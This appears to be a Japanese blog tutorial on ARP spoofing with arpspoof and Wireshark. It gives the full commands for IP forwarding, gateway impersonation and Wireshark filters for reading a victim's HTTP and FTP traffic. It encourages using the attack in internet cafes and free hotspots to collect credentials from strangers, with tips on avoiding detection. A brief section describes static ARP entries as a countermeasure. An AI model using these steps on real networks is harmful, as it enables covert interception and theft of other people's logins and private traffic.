動的ARPテーブルの仕組みは単純で、MACを取得したいIPアドレスを付加したARPリクエストを送り、対応するホストからARPリプレイを受信するとARPテーブルを更新するというもの。
だから作り込まれたARPリプレイをターゲットに送りつづけるだけでARPテーブルを任意に改変することができる。
その仕様を利用するツールとしてarpspoofというものがある。
arpspoofを使ってゲートウェイになりすましてパケットホイホイしてみる。
用意するもの
・dsniff スニファの詰め合わせ この中にarpspoofが含まれている
・wireshark 超高性能GUIパケットアナライザ♂ tcpdumpでもいいんだけどwiresharkあった方が便利
$
sudo apt-get install dsniff wiresharkarpspoof実験開始
パケットをリダイレクトするように設定
#
sysctl -w net.ipv4.ip_forward=1#
sysctl -w net.ipv4.conf.eth0.send_redirects=0ゲートウェイになりすます
#
arpspoof 10.25.0.1 -t 10.0.0.1上の3つのコマンドだけで正規ホスト10.0.0.1の通信は攻撃者10.10.0.1を経由するようになる。

10.25.0.1:ゲートウェイ
10.0.0.1:正規ホスト
10.10.0.1:攻撃者
青線:正規の通信経路
赤線:arpspoofを行った後の通信経路
正規ホストからゲートウェイへpingを送るとパケットが攻撃者へリダイレクトされていることが分かる。
$
route -n0.0.0.0 10.25.0.1 0.0.0.0 UG 100 0 0 eth0
10.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 eth0
169.254.0.0 0.0.0.0 255.255.0.0 U 1000 0 0 eth0
$
ping 10.25.0.1PING 10.25.0.1 (10.25.0.1) 56(84) bytes of data.
From 10.10.0.1: icmp_seq=1 Redirect Host(New nexthop: 10.25.0.1)
64 bytes from 10.25.0.1: icmp_req=1 ttl=64 time=0.645 ms
pingやtracertを実行すればバレるかもしれないけど、webブラウジングやらスカイポやらは問題なく出来るし、コマンドプロンプトやターミナルを常に使うような変態さんはあんまりいないと思うから大丈夫たぶん。
wiresharkでHTTPリクエストを覗き見
Filter:
ip.addr == 10.0.0.1 and http
FTPのアカウント、操作を覗き見
Filter:
ip.addr == 10.0.0.1 and ftp
こんな感じにarpspoofを使えば同セグメント上のホストの無暗号の通信を覗き見出来てしまうわけで。
arpspoofを実行するときターゲットを明示的に指定しなければ同セグメント上の全ホストのARPテーブルが改変されるので、
ネカフェとかフリースポットとかでゴホンゴホンすればftp,pop,imap,basic認証,telnet,性癖などなどを収集出来てしまうわけだ。
ネカフェによっては部屋番号とIPアドレスが同じだったりするから漫画を探すふりしてゴホンゴホン
対策
この攻撃は動的ARPテーブルの仕様を悪用したものなので、正規のゲートウェイのMACとIPの組み合わせを把握していれば、
静的ARPテーブルを利用することで防ぐことができる。
まず、ネットワークに接続するときゲートウェイの正しいMACとIPを取得、そしてゲートウェイの正しいMACとIPを設定する。
Win,Linux共にARPテーブルを手動で追加すると静的ARPテーブルになる。
Win
>
route print>
ping 192.168.1.1>
arp -a 192.168.1.1>
arp -s 192.168.1.1 00:11:22:33:44:55Linux
#
route -n#
ping -c1 192.168.1.1#
arp -n 192.168.1.1#
arp -s 192.168.1.1 00:11:22:33:44:55
- 関連記事
-